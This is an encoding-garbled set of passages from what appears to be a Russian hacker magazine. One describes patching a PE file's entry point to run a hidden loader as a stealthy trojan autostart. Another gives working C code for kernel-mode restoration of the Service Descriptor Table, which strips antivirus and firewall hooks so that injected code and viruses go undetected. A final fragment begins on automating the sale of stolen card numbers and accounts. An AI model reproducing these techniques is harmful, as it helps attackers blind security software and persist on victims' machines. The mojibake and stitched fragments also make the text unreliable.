äàêòîðå) è äîáàâèì â åãî êîíåö 1000h áàéò íóëåé. 
Çàòåì îòêðîåì ôàéë â PE Tools è íàæìåì êíîïêó Sections, íàõîäèì â
ñïèñêå ïîñëåäíþþ ñåêöèþ (â äàííîì ñëó÷àå ýòî áóäåò .rsrc) è óâåëè÷è-
âàåì åå VirtualSize è RawSize íà 1000. Äàëåå íàì íóæíî ïåðåîïðåäåëèòü
òî÷êó âõîäà PE-ôàéëà íà âûäåëåííóþ îáëàñòü. Äëÿ ýòîãî ïîñìîòðèì
ñìåùåíèå ýòîé îáëàñòè â ôàéëå (â Hex Workshop) è íàæìåì â PE Tools
êíîïêó FLC, ãäå íàì íóæíî ïåðåñ÷èòàòü ïîëó÷åííûé File Offset â Relative
Virtual Address. Ó ìåíÿ ïîëó÷èëîñü çíà÷åíèå 13A00. Æìåì êíîïêó
Optional Header, ãäå ìåíÿåì òî÷êó âõîäà (Entry Point) íà ïîëó÷åííîå çíà-
÷åíèå. Ïåðåä ýòèì íóæíî ñîõðàíèòü ñòàðóþ òî÷êó, òàê êàê îíà íàì åùå
ïîíàäîáèòñÿ. Ïîòîì æìåì êíîïêó "?" ðÿäîì ñ
SizeOfImage, ÷òîáû ïåðåñ÷èòàòü ðàçìåð PE-
ôàéëà (áåç ýòîãî îí íå áóäåò çàïóñêàòüñÿ).
Òåïåðü íàì ïîíàäîáèòüñÿ îòëàä÷èê OllyDbg, ãäå
ìû áóäåì ïèñàòü êîä, çàïóñêàþùèé áëîêíîò.
Îòêðîåì ôàéë â îòëàä÷èêå è îñòàíîâèìñÿ íà íî-
âîé òî÷êå âõîäà � ñ ýòîãî àäðåñà ìû áóäåì ðàç-
ìåùàòü êîä. Äàííûå áóäåì ðàçìåùàòü íåìíîãî
íèæå. Äëÿ çàïóñêà êàëüêóëÿòîðà íàì íóæíî ñîñ-
òàâèòü ïðèìåðíî ñëåäóþùèé êîä:

push offset 'kernel32.dll'
call GetModuleHandleA
push offset 'WinExec'
push eax
call GetProcAddress
push 1
push offset 'calc.exe'
call eax

Äëÿ íà÷àëà íóæíî îïðåäåëèòü àäðåñà íóæíûõ íàì
ôóíêöèé â òàáëèöå èìïîðòà. Òàáëèöà èìïîðòà ó

íàñ íàõîäèòñÿ ïî àäðåñó 1001000.
Íàõîäèì ýòî ìåñòî â îòëàä÷èêå è çà-
ïèñûâàåì àäðåñà. Ó íàñ äîëæíî ïî-
ëó÷èòüñÿ ÷òî-òî âðîäå ýòîãî:

010010CC � GetModuleHandleA
01001110 � GetProcAddress

Òåïåðü ìîæíî ðàçìåñòèòü íóæíûå
íàì ñòðîêè â âûäåëåííîé îáëàñòè è
ñîñòàâèòü êîä çàãðóç÷èêà. Â êîíöå
çàãðóç÷èêà äîëæíà ñòîÿòü êîìàíäà
ïåðåõîäà íà îðèãèíàëüíóþ òî÷êó âõîäà. Ïîñëå òîãî, êàê òâîé êîä ñòàë çà-
ïóñêàòüñÿ, íóæíî çàïèñàòü åãî â ôàéë ïðè ïîìîùè Hex Workshop.
Íà äèñêå ñ æóðíàëîì òû íàéäåøü ïðîïàò÷åííûé áëîêíîò, êîòîðûé çà-
ïóñêàåò êàëüêóëÿòîð. Ïîäîáíûé ìåòîä àâòîçàïóñêà òðîÿíà ïðè ïðàâèëü-
íîì åãî ïðèìåíåíèè ìîæåò áûòü âåñüìà è âåñüìà íåçàìåòåí.

[êàê íàéòè ñâîé ìåòîä àâòîçàïóñêà] Íàñòîÿùèé, äåéñòâèòåëüíî
ðóáÿùèé â òåìå õàêåð, íèêîãäà íå ñòàíåò ïîëüçîâàòüñÿ íè÷åì âûøåîïè-
ñàííûì è âîîáùå ÷åì-ëèáî ðàíåå èçâåñòíûì. Îí îáÿçàòåëüíî ïðèäóìàåò
êàêîé-íèáóäü îðèãèíàëüíûé ìåòîä äëÿ àâòîçàïóñêà ñâîåãî òâîðåíèÿ. Êàê
îí ýòî ñäåëàåò? Ñêîðåå âñåãî, äëÿ íà÷àëà îòêðîåò regedit è ïîèùåò ïî âñå-
ìó ðååñòðó ïàðàìåòðû ïî ìàñêå *.exe;*.dll. Ïîñìîòðåâ íàéäåííûå ðàçäåëû
è ïîäóìàâ íåìíîãî ãîëîâîé, îí ëåãêî íàéäåò ìåñòî, êóäà åñòü âîçìîæ-
íîñòü ïðîïèñàòü òðîÿíà. Åñëè åìó ïîêàæåòñÿ ýòîãî ìàëî, òî îí âçãëÿíåò,
êàêèå ïðîöåññû çàïóùåíû è êàêèå DLL çàãðóæåíû â ñèñòåìå è ïîïûòàåò-
ñÿ îïðåäåëèòü ïðè÷èíó çàãðóçêè êàæäîãî ôàéëà, ÷òîáû ÷òî-íèáóäü äà è
ïîäìåíèòü. Â îáùåì, ñïîñîáîâ àâòîçàãðóçêè îí ñìîæåò ïðèäóìàòü åùå
î÷åíü ìíîãî, íàì îñòàåòñÿ òîëüêî áûòü  áîëåå áäèòåëüíûìè

ðåäàêòèðîâàíèå ôàéëà â PE Tools

ïèøåì êîä çàãðóç÷èêà

ñîõðàíÿåì èçìåíåíèÿ â ôàéëå

Ñîçäàíèå òðîÿíîâ, âîîáùå
ãîâîðÿ, ìîæíî íàçâàòü íå-
çàêîííûì äåéñòâèåì, ïîý-
òîìó íèêîãäà è íè çà ÷òî
íå ñîçäàâàé èõ. Ýòî äóðíàÿ
çàòåÿ. Ïåé ëó÷øå ìîëîêî è
èãðàé â êîìïüþòåðíûå èã-
ðû. Âîò, êîìó-òî êîíòðà
íðàâèòñÿ, è íè÷åãî - æè-
âóò, âðåäîíîñíûõ ïðîã-
ðàìì íå ïèøóò ;).
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ÔÓ! Â ÏÅ×ÅÍÊÀÕ ÓÆÅ ÑÈÄßÒ. ÑÒÎÈÒ ÎÄÍÎÌÓ
ÌÎÅÌÓ ÏÐÎÖÅÑÑÓ ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ ÄÐÓ-
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Îòó÷àåì ïåðñîíàëüíûå 
çàùèòû îò âðåäíûõ ïðèâû÷åê
ß òóò ïðîâåë íåêîòîðûå èññëåäîâàíèÿ, ïîñèäåë ñ îòëàä÷èêîì è äèçàññå-
ìáëåðîì è ïðèøåë ê âûâîäó, ÷òî ïîäàâëÿþùåå áîëüøèíñòâî âñåõ ïåðñî-
íàëüíûõ çàùèò äëÿ Windows îñíîâàíî ÷óòü ëè íå íà õàêåðñêîì ïðèíöè-
ïå! Íó, ïî êðàéíåé ìåðå, èìåííî çà ñ÷åò íåãî ìíîãèå ñîâðåìåííûå òðîÿ-
íû ïðÿ÷óòñÿ îò ãëàç ÷åðåñ÷óð ëþáîïûòíîãî ïîëüçîâàòåëÿ (ïîäðîáíåå îá
ýòîì ÷èòàé â ñòàòüå «Ïðîãðàììà-íåâèäèìêà» â ìàðòîâñêîì íîìåðå). Äà,
òû ïðàâèëüíî ïîíÿë, ÿ ãîâîðþ î ïåðåõâàòå API. Çàùèòû ïåðåõâàòûâàþò
íåêîòîðûå âàæíûå, ïî ìíåíèþ ðàçðàáîò÷èêîâ, ñèñòåìíûå ôóíêöèè è
ñëåäÿò çà òåì, ÷òîáû ñ èõ ïîìîùüþ  õàêåð íå ìîã ñäåëàòü êàêóþ-íèáóäü
ãàäîñòü. Ïðåïÿòñòâóþò çàïóñêó âèðóñîâ, íå ïóñêàþò â ñåòü ïðîöåññû ñ
âíåäðåííûì òðîÿíñêèì êîäîì è ò.ï., â îáùåì, ïûòàþòñÿ íàâåñòè ïîðÿäîê
ïóòåì ïîñòîÿííîãî ìîíèòîðèíãà âàæíûõ ñèñòåìíûõ ñîáûòèé. 
Âçÿòü, ê ïðèìåðó, çàìå÷àòåëüíûé ïåðñîíàëüíûé ôàéðâîë Agnitum
Outpost. Íà÷èíàÿ, åñëè ÿ íå îøèáàþñü, ñ âåðñèè 2.5, äëÿ òîãî ÷òîáû ïðå-
äîòâðàòèòü îáõîä ñ ïîìîùüþ âíåäðåíèÿ è çàïóñêà êîäà â àäðåñíîì
ïðîñòðàíñòâå äîâåðåííîãî ïðèëîæåíèÿ (ïîäðîáíåå î íåì ÷èòàé â ñòàòüå
«Êëèçìà ôàéðâîëó» â Õàêåðå çà äåêàáðü 2004 ãîäà), îí ïåðåõâàòûâàåò
íèçêîóðîâíåâóþ ÷àñòü ñèñòåìíîãî ñîáûòèÿ ìîäèôèêàöèè ïàìÿòè ïðî-
öåññà, ôóíêöèþ NtWriteVirtualMemory. Åñëè âäðóã òðîÿí âíåäðèò ñâîé
êîä, íàïðèìåð, â iexplore.exe, àóòïîñò ìãíîâåííî íà ýòî äåëî îòðåàãèðó-
åò, çàïðåòèâ ìîäèôèöèðîâàííîìó áðàóçåðó âûëåçàòü â ñåòü. Òóò èìååò
ìåñòî òîëüêî îäèí ïåðåõâàò, çàòî êàêîé ïðîòèâíûé! Äðåâíèé, êàê
Windows 2000, ñïîñîá îáõîäà ôàéðâîëà îáëàìûâàåòñÿ è öåëàÿ òó÷à
ïðèâàòíûõ òðîÿíîâ, åãî èñïîëüçóþùèõ, ëåòèò â òàðòàðàðû. 
Èëè, äðóãîé ïðèìåð � äî êîëèêîâ ëþáèìûé âèðìåéêåðàìè Àíòèâèðóñ
Êàñïåðñêîãî. Â ïëàíå ïåðåõâàòîâ � ýòî ïðîñòî ìîíñòð! Îí êîâåðêàåò àæ
9 íå ñàìûõ ïîñëåäíèõ Native API ôóíêöèé, ñðåäè êîòîðûõ åñòü
NtCreateProcess  äëÿ ñëåæåíèÿ çà çàïóñêîì ïðèëîæåíèé (âåðíåå, çà çà-
ïóñêîì âèðóñîâ) è äàæå NtOpenProcess  äëÿ ïðåäîòâðàùåíèÿ õàêåðñêî-
ãî âìåøàòåëüñòâà â ðàáîòó àíòèâèðóñíîãî ìîíèòîðà (AVP ïðîñòî íå
äàñò îòêðûòü ñîáñòâåííûé ïðîöåññ). 
À òåïåðü ïðåäñòàâü, ÷òî ó íàñ ïîÿâèëàñü âîçìîæíîñòü ëèøèòü âñå ýòè è
ìíîãèå äðóãèå ïåðñîíàëüíûå çàùèòû èõ ïåðåõâàòîâ. Ïðåäñòàâü: AVP
ïðåêðàùàåò ñëåäèòü çà âèðóñàìè, Outpost íå áëîêèðóåò áîëüøå ìîäè-
ôèöèðîâàííûé òðîÿíîì áðàóçåð, êàêîé-íèáóäü ZoneAlarm íà ìàêñè-
ìàëüíîì óðîâíå áåçîïàñíîñòè ìîë÷èò î êàæäîì çàïóñêàåìîì íåèçâåñò-
íîì ïðèëîæåíèè, òàêèì îáðàçîì, ëþáàÿ çàùèòà, ìîíèòîðÿùàÿ ñèñòåìó,
âäðóã çàòûêàåòñÿ. Íå ïðåêðàùàåò ðàáîòàòü, íå âûâàëèâàåòñÿ ñ ñîîáùå-
íèåì îá îøèáêå, à ïðîñòî çàìîëêàåò. Íè òåáå âèðóñíûõ ïðåäóïðåæäå-
íèé, íè ôàéðâîëüíûõ ðóãàòåëüñòâ � çâó÷èò íåïëîõî, ïðàâäà?
Âîò òîëüêî âîçìîæíîñòü ýòó íå òàê ïðîñòî ïîëó÷èòü. Òû, íàâåðíîå, óæå çà-
ìåòèë, ÷òî âñå çàùèòû, î êîòîðûõ ÿ ãîâîðèë âûøå, ïåðåõâàòûâàþò Native
API � â ýòîé íåïðèÿòíîé òåíäåíöèè è êðîåòñÿ îñíîâíàÿ ïðîáëåìà. Äåëî â
òîì, ÷òî íè îäíà óâàæàþùàÿ ñåáÿ çàùèòà íå ñòàíåò ïåðåõâàòûâàòü êàêîå-
íèáóäü ñèñòåìíîå ñîáûòèå íà ïîëüçîâàòåëüñêîì óðîâíå. Îíà ïîñòàðàåòñÿ

Íà äèñêå òû ñìîæåøü îò-
êîïàòü âñå ñîðöû ê ñòàòüå.
Íà äèñêå ê æóðíàëó, êîíå÷-
íî. Íà êàêîìó-íèáóäü ëå-
âîì, êóïëåííîì íà ðàäèî-
ðûíêå, òû âñåãî ýòîãî íå
îáíàðóæèøü.
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âîò çàìåíèòü àäðåñ íà ñòàðûé � íåò, òóò ïðèäåòñÿ ñïóñêàòüñÿ â ring0. Õî-
ðîøî, ÷òî ìû ýòî óæå óìååì äåëàòü è ó íàñ äàæå åñòü íîðìàëüíàÿ, ðàáî-
òàþùàÿ ôóíêöèÿ (îíà ïðèëàãàëàñü ê ìîåé ñòàòüå «Àáñîëþòíûé íîëü» 
â äåêàáðüñêîì íîìåðå Õàêåðà çà 2004 ãîä). Èòàê, ïåðâîå, ÷òî ìû ñäåëà-
åì, � çàãðóçèì ñâîþ êîïèþ ÿäðà è íàéäåì â íåé SDT. ßäðî � ýòî îáû÷-
íî ntoskrnl.exe, îäíàêî â boot.ini ìîæåò áûòü ïðîïèñàí è äðóãîé ôàéë, ïî-
ýòîìó íå ñëåäóåò îðèåíòèðîâàòüñÿ íà îäíî èçâåñòíîå èìÿ, ëó÷øå ãðàìîò-
íî åãî ïîëó÷èòü ñ ïîìîùüþ Native API ôóíêöèè NtQuerySystemInformation,
ýêñïîðòèðóåìîé ntdll.dll.

NTSTATUS (WINAPI * _NtQuerySystemInformation)
(UINT, PVOID, ULONG, PULONG);

HMODULE hntdll = GetModuleHandle("ntdll.dll");
*(FARPROC *)&_NtQuerySystemInformation = GetProcAddress(

hntdll, "ZwQuerySystemInformation");

DWORD rc=_NtQuerySystemInformation(
SystemModuleInformation,pModules,4,&dwNeededSize);

if (rc==STATUS_INFO_LENGTH_MISMATCH) 
{

Modules=(PMODULES)GlobalAlloc(GPTR,dwNeededSize);
rc=_NtQuerySystemInformation(
SystemModuleInformation,pModules,dwNeededSize,NULL);

} 
else return FALSE;
if (!NT_SUCCESS(rc)) return FALSE;

// àäðåñ ÿäðà
DWORD dwKernelBase = (DWORD)pModules->smi.Base;
// àäðåñ èìåíè ôàéëà ÿäðà
PCHAR pKernelName = pModules->smi.ModuleNameOffset 

+ pModules->smi.ImageName;

Îòëè÷íî, òåïåðü ó íàñ åñòü èìÿ ôàéëà, è ìû ìîæåì çàãðóçèòü ñâîþ êî-
ïèþ ÿäðà. Äåëàåòñÿ ýòî òàêæå êàê è ñ îáû÷íîé DLL, òîëüêî ñ ïðåäóïðåæ-
äåíèåì ñèñòåìû, ÷òî íå íóæíî ãðóçèòü DllMain:

// DONT_RESOLVE_DLL_REFERENCES � íå ãðóçèì DllMain
HMODULE hKernel = LoadLibraryEx(pKernelName,0,

DONT_RESOLVE_DLL_REFERENCES);
if (!hKernel) return FALSE;   

Òåïåðü â ïîëó÷åííîé êîïèè ÿäðà íàéäåì ñìåùåíèå àäðåñà SDT. Ñàìî-
ãî àäðåñà òàì íå îêàæåòñÿ, òàê êàê ïåðåìåííàÿ KeServiceDescriptorTable
íå áûëà èíèöèàëèçèðîâàíà, íî ñìåùåíèå íàì ïðèãîäèòñÿ, ÷òîáû ýòîò
àäðåñ íàéòè â ãóùå êîäà ÿäðà.

if (!(dwKSDT = (DWORD)GetProcAddress(hKernel,
"KeServiceDescriptorTable"))) 
return FALSE;

dwKSDT = (DWORD)hKernel;    
if (!(dwKiServiceTable = FindKiServiceTable(hKernel,dwKSDT))) 

return FALSE;

FindKiServiceTable � ýòî îôèãåííàÿ ôóíêöèÿ, íàïèñàííàÿ êîäåðîì 90210
è çàïîùåííàÿ íà www.rootkit.com â åãî ñòàòüå îá àíòèõóêèíãå íà óðîâíå
ÿäðà. Ýòà ôóíêöèÿ âîçâðàùàåò ñìåùåíèå SDT îòíîñèòåëüíî íà÷àëà ìî-
äóëÿ ÿäðà. Îíà èùåò â ÿäðå èíñòðóêöèþ ôîðìàòà mov [mem32], imm32.
Åñëè áûòü òî÷íûì, èíñòðóêöèþ mov ds:_KeServiceDescriptorTable.Base,
offset _KiServiceTable èç ôóíêöèè KiInitSystem. Ïîèñê îðèåíòèðóåòñÿ íà
ñìåùåíèå KeServiceDescriptorTable, ïîëó÷åííîå â ðåçóëüòàòå ïðîâåäåí-
íûõ âûøå ìàíèïóëÿöèé.

[ôóíêöèÿ FindKiServiceTable]

DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{

PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
PIMAGE_SECTION_HEADER psh;
PIMAGE_BASE_RELOCATION pbr;
PIMAGE_FIXUP_ENTRY pfe;    

DWORD dwFixups = 0,

ìàêñèìàëüíî óñëîæíèòü æèçíü õàêåðó, à, ñëåäîâàòåëüíî, áóäåò äåëàòü âñå
èñêëþ÷èòåëüíî íà óðîâíå ÿäðà, ãäå íå ñòóïàëà åùå íîãà þçåðà áåç ïðàâ àä-
ìèíèñòðàòîðà. À îò ïåðåõâàòà íà óðîâíå ÿäðà èçáàâèòüñÿ íà ïîðÿäîê ñëîæ-
íåå, ÷åì îò îáû÷íîé ïîäìåíû çàïèñè â òàáëèöå èìïîðòà èëè ñïëàéñèíãà
ôóíêöèè â user mode. Ñëîæíåå, íî âåäü äëÿ íàñ íåò íè÷åãî íåâîçìîæíîãî!

[ïåðåõâàò API â kernel mode] Çà íåêîòîðûì ñèñòåìíûì ñîáûòèåì
ìîæíî ñëåäèòü íà ðàçíûõ ýòàïàõ åãî ðàçâèòèÿ. Äà, õîðîøî ñêàçàë. Íà
ïðèìåðå, äóìàþ, áóäåò ïîíÿòíåå. Åñòü, ñêàæåì, ñîáûòèå ìîäèôèêàöèè
ïàìÿòè îäíîãî ïðîöåññà äðóãèì. Äëÿ îáõîäà ôàéðâîëà ìû âûçûâàëè åãî
ñ ïîìîùüþ ôóíêöèè WriteProcessMemory. Çàùèòà ìîæåò ïåðåõâàòèòü
ôóíêöèþ, è ýòîãî áóäåò äîñòàòî÷íî, ÷òîáû ïðåäîòâðàòèòü õàêåðñêóþ äå-
ÿòåëüíîñòü. Îäíàêî êîäåðó íè÷åãî íå áóäåò ñòîèòü â user mode ýòîò ïå-
ðåõâàò îáîéòè. Çàùèòà òàêæå ìîæåò ïåðåõâàòèòü Native API ôóíêöèþ
NtWriteVirtualMemory, ýêñïîðòèðóåìóþ áèáëèîòåêîé ntdll.dll, íî è ýòîò ïå-
ðåõâàò áóäåò îñóùåñòâëÿòüñÿ íà ïîëüçîâàòåëüñêîì óðîâíå, à, ñëåäîâà-
òåëüíî, áóäåò íåíàäåæåí. Ïîýòîìó ðàçðàáîò÷èêè çàùèò ïðåäïî÷èòàþò
ðåàëèçîâûâàòü ïåðåõâàò íà óðîâíå ÿäðà. Ïèøóò äðàéâåðû è òèõî-ìèðíî
ïîäìåíÿþò àäðåñà Native API ôóíêöèé â Service Descriptor Table (åñëè òû
åùå íå çíàåøü, ÷òî òàêîå SDT èëè íåäîñòàòî÷íî çíàêîì ñ ìåõàíèçìîì
ðàáîòû íèçêîóðîâíåâîé ÷àñòè Windows, î÷åíü ñîâåòóþ ïî÷èòàòü êíèãó
Ñâåíà Øðàéáåðà «Íåäîêóìåíòèðîâàííûå âîçìîæíîñòè Windows 2000»,
ñòàòüè ñ www.rootkit.com, à òàêæå ñòàòüþ ms-rem'à «Ïåðåõâàò API-ôóíê-
öèé â Windows 2000. Íóëåâîå êîëüöî»). Ýòî î÷åíü ëåãêî äåëàåòñÿ, ôàê-
òè÷åñêè â îäíó ñòðîêó (åñòåñòâåííî, ïåðåä çàìåíîé ýëåìåíòà â òàáëèöå
íàäî íå çàáûòü ñáðîñèòü WP bit è çàïðåòèòü ïðåðûâàíèÿ):

// ñíà÷àëà îïðåäåëÿåòñÿ ïðîñòåíüêèé ìàêðîñ
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable->

ntoskrnl.ServiceTable[*(PULONG)((PUCHAR)_function+1)]

// è ïðîèçâîäèòñÿ çàìåíà
SYSTEMSERVICE(NtWriteVirtualMemory) = NewNtWriteVirtualMemory;

KeServiceDescriptorTable � ýòî ýêñïîðòèðóåìûé ÿäðîì óêàçàòåëü íà
SDT, ñòðóêòóðà  êîòîðîé ñîäåðæèòñÿ â òàáëèöå ñèñòåìíûõ ñåðâèñîâ, èç
êîòîðîé â êîíå÷íîì ñ÷åòå áåðóòñÿ àäðåñà ôóíêöèé Native API. 

[ñòðóêòóðû SDT è SST]

typedef struct _SERVICE_DESCRIPTOR_TABLE
{

PNTPROC ServiceTable; 
PDWORD  CounterTable; 
ULONG   ServiceLimit; 
PBYTE   ArgumentTable; 

} SERVICE_DESCRIPTOR_TABLE;

×òîáû ïîëó÷èòü íîìåð ÿ÷åéêè â SDT, â êîòîðîé áóäåò ñîäåðæàòüñÿ àäðåñ
ïåðåõâàòûâàåìîé Native API-ôóíêöèè íà óðîâíå ÿäðà, íóæíî âñåãî ëèøü
ïðèáàâèòü ê àäðåñó ôóíêöèè-ïåðåõîäíèêà ñ òåì æå èìåíåì èç ntdll.dll
åäèíè÷êó è âçÿòü ïî ïîëó÷åííîìó àäðåñó çíà÷åíèå. Íàâåðíîå, òåáÿ èíòå-
ðåñóåò, îòêóäà òàì âîçüìåòñÿ ýòîò íîìåð? Âñå î÷åíü ïðîñòî. Äàâàé, äè-
çàññåìáëèðóåì ëþáóþ Native API ôóíêöèþ, ýêñïîðòèðóåìóþ ntdll.dll:

[ôóíêöèÿ NtWriteVirtualMemory èç ntdll.dll]

B8 15 01 00 00 mov eax, 115h
BA 00 03 FE 7F mov edx, 7FFE0300h
FF 12 call dword ptr [edx]
Ñ2 14 00 retn 14h

Ïåðâûé áàéò êîäà ôóíêöèè � ýòî îïêîä èíñòðóêöèè MOV eax,imm32. ×åòûðå
ñëåäóþùèå çà íèì áàéòà � ýòî, ñîáñòâåííî, imm32, òî åñòü äàííûå, çàïèõèâà-
åìûå â ðåãèñòð eax, òî åñòü èíäåêñ ôóíêöèè â SDT. È òàê äëÿ âñåãî Native API.
Åñòåñòâåííî, ïîäìåíà çàïèñåé â SDT � ýòî äàëåêî íå åäèíñòâåííûé
ñïîñîá ïåðåõâàòà íà óðîâíå ÿäðà. Ìîæíî ïàò÷èòü ôóíêöèè ïðÿìî â
ntoskrnl.exe, ìîæíî ïåðåõâàòûâàòü sysenter, ìîæíî äàæå ñîçäàòü ñâîþ
òàáëèöó SDT è ïîäìåíèòü KeServiceDescriptorTable, îäíàêî âñå ýòî íå
íåîáõîäèìûé ãåìîððîé äëÿ ðàçðàáîò÷èêîâ çàùèò, ïîýòîìó îíè îãðàíè-
÷èâàþòñÿ îäíèì ñàìûì áàíàëüíûì ñïîñîáîì. Çðÿ. Ñåé÷àñ ÿ ïîêàæó, êàê
ïðîñòî õàêåðû èçáàâëÿþòñÿ îò ïîäîáíîãî ïåðåõâàòà.

[óáèðàåì ïåðåõâàòû â kernel mode]
×òîáû óáðàòü ïåðåõâàò, ðåàëèçîâàííûé ïîäìåíîé çàïèñè â SDT, òðåáóåò-
ñÿ íàéòè îðèãèíàë òàáëèöû è îáðàòèòü ïîäìåíó. Åñòåñòâåííî, â user mode
âñåãî ýòîãî ñäåëàòü íå óäàñòñÿ. Íó, íàéòè âñå àäðåñà åùå ìîæåò áûòü, à [X
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i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
BOOL bFirstChunk;

GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);

if ((poh->
DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
&& (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->

DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,
hModule);

bFirstChunk=TRUE;
while (bFirstChunk || pbr->VirtualAddress) {

bFirstChunk=FALSE;
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr +

sizeof(IMAGE_BASE_RELOCATION));
for (i=0;i<(pbr->SizeOfBlock -

sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) 
{

if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
dwFixups++;
dwPointerRva=pbr->VirtualAddress+pfe->offset;
dwPointsToRva=*(PDWORD)((DWORD)hModule + 

dwPointerRva)-(DWORD)poh->ImageBase;
if (dwPointsToRva==dwKSDT) 
{

if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) 
{

dwKiServiceTable=*(PDWORD)((DWORD)hModule +
dwPointerRva+4) - poh->ImageBase;

return dwKiServiceTable;
}

}
}

}
*(PDWORD)&pbr += pbr->SizeOfBlock;

}
}    
return 0;

}

Ïîëó÷èâ ñìåùåíèå SDT, ìû ïðèáàâëÿåì åãî ê áàçå íàøåé êîïèè ÿäðà �
ýòî è áóäåò àäðåñ îðèãèíàëüíîé òàáëèöû. Íà âñÿêèé ñëó÷àé êîïèðóåì

âñå ñîäåðæèìîå SDT â ñîáñòâåííûé ìàññèâ DWORD è ðàäóåìñÿ � 
îñíîâíîå äåëî ñäåëàíî, îðèãèíàë ïîëó÷åí.

GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
pService = (PDWORD)((DWORD)hKernel + dwKiServiceTable);

for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
*pService-poh->ImageBase<poh->SizeOfImage;
pService++,dwServices++) 
TABLE[dwServices] = *pService � poh->ImageBase+dwKernelBase;  

NEWTABLE = (DWORD)(dwKernelBase + dwKSDT); 

Òåïåðü, ïåðåéäÿ â kernel mode, ìîæíî ëèáî âîññòàíîâèòü SDT, ïðîñòî
çàìåíÿÿ âñå àäðåñà â òåêóùåé òàáëèöå íà àäðåñà, òîëüêî ÷òî ïîëó÷åí-
íûå, ÷òîáû óáèòü âñå çàùèòû, ëèáî èñïîëüçîâàòü ýòè ñàìûå àäðåñà íàï-
ðÿìóþ, ÷òîáû îáîéòè ïåðåõâàò. Â ïëàíå îáõîäà NtWriteVirtualmemory
âîññòàíîâèòü ïðîùå, èñïîëüçîâàòü àäðåñà íàïðÿìóþ ìåíåå ïàëåâíî.
Íàïðÿìóþ � çíà÷èò çàïóñêàòü ôóíêöèþ ïî ïîëó÷åííîìó àäðåñó ïðÿìè-
êîì èç ring0. 
Êîðî÷å, äàâàé îòêëþ÷èì âñå çàùèòû.

[âîññòàíàâëèâàåì SDT íà óðîâíå ÿäðà]

void InKerneProc()
{

for (int i = 0; i < dwServices; i++)
((DWORD*)(*(DWORD*)(NEWTABLE)))[i] = TABLE[i];

}

Çàïóñòè ýòó ôóíêöèþ íà óðîâíå ÿäðà. Õî÷åøü � èíæåêòèðóé êîä â áðà-
óçåð, ÷òîáû îáîéòè ôàéðâîë � íèêòî òåáå íè÷åãî íå ñêàæåò. Õî÷åøü �
âèðóñû çàïóñêàé. Â îáùåì, âñå çàùèòû çàñûïàþò. Íåïëîõî, äà? È ýòî
âåäü åùå íå âñå ïðèìåíåíèå àíòèõóêèíãà íà óðîâíå ÿäðà. Ñ åãî æå ïî-
ìîùüþ ìîæíî áîðîòüñÿ ñ êðóòûìè ÿäðåíûìè ðóòêèòàìè. Ìîæíî îòðó-
áàòü êàêèå-íèáóäü õèòðûå àíòèîòëàäî÷íûå ïðèåìû. Â îáùåì, ïðèìåíå-
íèå, ïîìèìî áàíàëüíîãî îòðóáàíèÿ çàùèò, òû íàéäåøü.
Ïîëíûé èñõîäíûé êîä ïðîãðàììû, îòðóáàþùåé âñå çàùèòû è îáõîäÿ-
ùåé ôàéðâîëû, òû ìîæåøü íàéòè íà äèñêå, î÷åíü ñîâåòóþ òåáå â íåì
êàê ñëåäóåò ïîêîïàòüñÿ.
Íà ýòîì ÿ çàêàí÷èâàþ ñâîå ïîâåñòâîâàíèå. Åñëè âîçíèêëè êàêèå-
íèáóäü âîïðîñû � ïèøè, ïîñòàðàþñü âñå îáúÿñíèòü. Óäà÷íîãî
êîìïèëèðîâàíèÿ
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[ìå÷òû, ìå÷òû] Ïî ïîâîäó ñàìîñòîÿòåëüíîãî ìåõàíèçìà ïî çàðàáà-
òûâàíèþ äåíåã � ýòî ÿ íå çðÿ ñêàçàë. Âïîëíå ðåàëüíî, ñìîòðè ñàì. Ñêà-
æåì, íåêèé õàêåð òîðãóåò íîìåðàìè êðåäèòîê, pp-àêêàóíòàìè, ïàññàìè
äëÿ ïîðíóõè, ñîêñàìè, èëè åùå ÷åì-òî ïî ñâîåé ïðèðîäå âèðòóàëüíûì.
Ñîîòâåòñòâåííî, åñëè îí îðãàíèçóåò àâòîìàòè÷åñêèé ïðèåì äåíåã è âñþ
ðàáîòó ñ êëèåíòàìè âîçëîæèò íà íåñëîæíûå ñêðèïòû, òî ïîëó÷èò ñóâå-
ðåííûé òîðãîâûé ìåõàíèçì, êîòîðûé áóäåò ðàáîòàòü áåç åãî íåïîñðåä-
ñòâåííîãî ó÷àñòèÿ. Íó, ðàçâå ÷òî íóæíî áóäåò îáíîâëÿòü ôàéë ñ êðåäà-
ìè è îáíàëè÷èâàòü äåíüãè :). Îäíàêî, ÷òîáû ðåàëèçîâàòü ýòî, íåîáõîäè-
ìî êàê ñëåäóåò ðàçîáðàòüñÿ ñ òåì, êàêèì æå îáðàçîì ìîæíî àâòîìàòè-
÷åñêè, áåç èñïîëüçîâàíèÿ ñîáñòâåííûõ ðóê, ìîíèòîðà è ãëàç, ïðèíèìàòü
ïîëüçîâàòåëüñêèå ïëàòåæè.

[ïðîöåññèíã êàê îí åñòü] Ðàçóìååòñÿ, â òåîðèè ìîæíî íàïèñàòü
ïðîãðàììó, êîòîðàÿ äëÿ îñóùåñòâëåíèÿ àâòîìàòè÷åñêèõ òðàíçàêöèé áó-
äåò èñïîëüçîâàòü òîò æå ñàìûé èíòåðôåéñ, ïðåäíàçíà÷åííûé äëÿ æè-
âûõ ëþäåé. Â ñàìîì äåëå, âî âçëîìå ìû óæå ïèñàëè î òîì, êàê ìîæíî
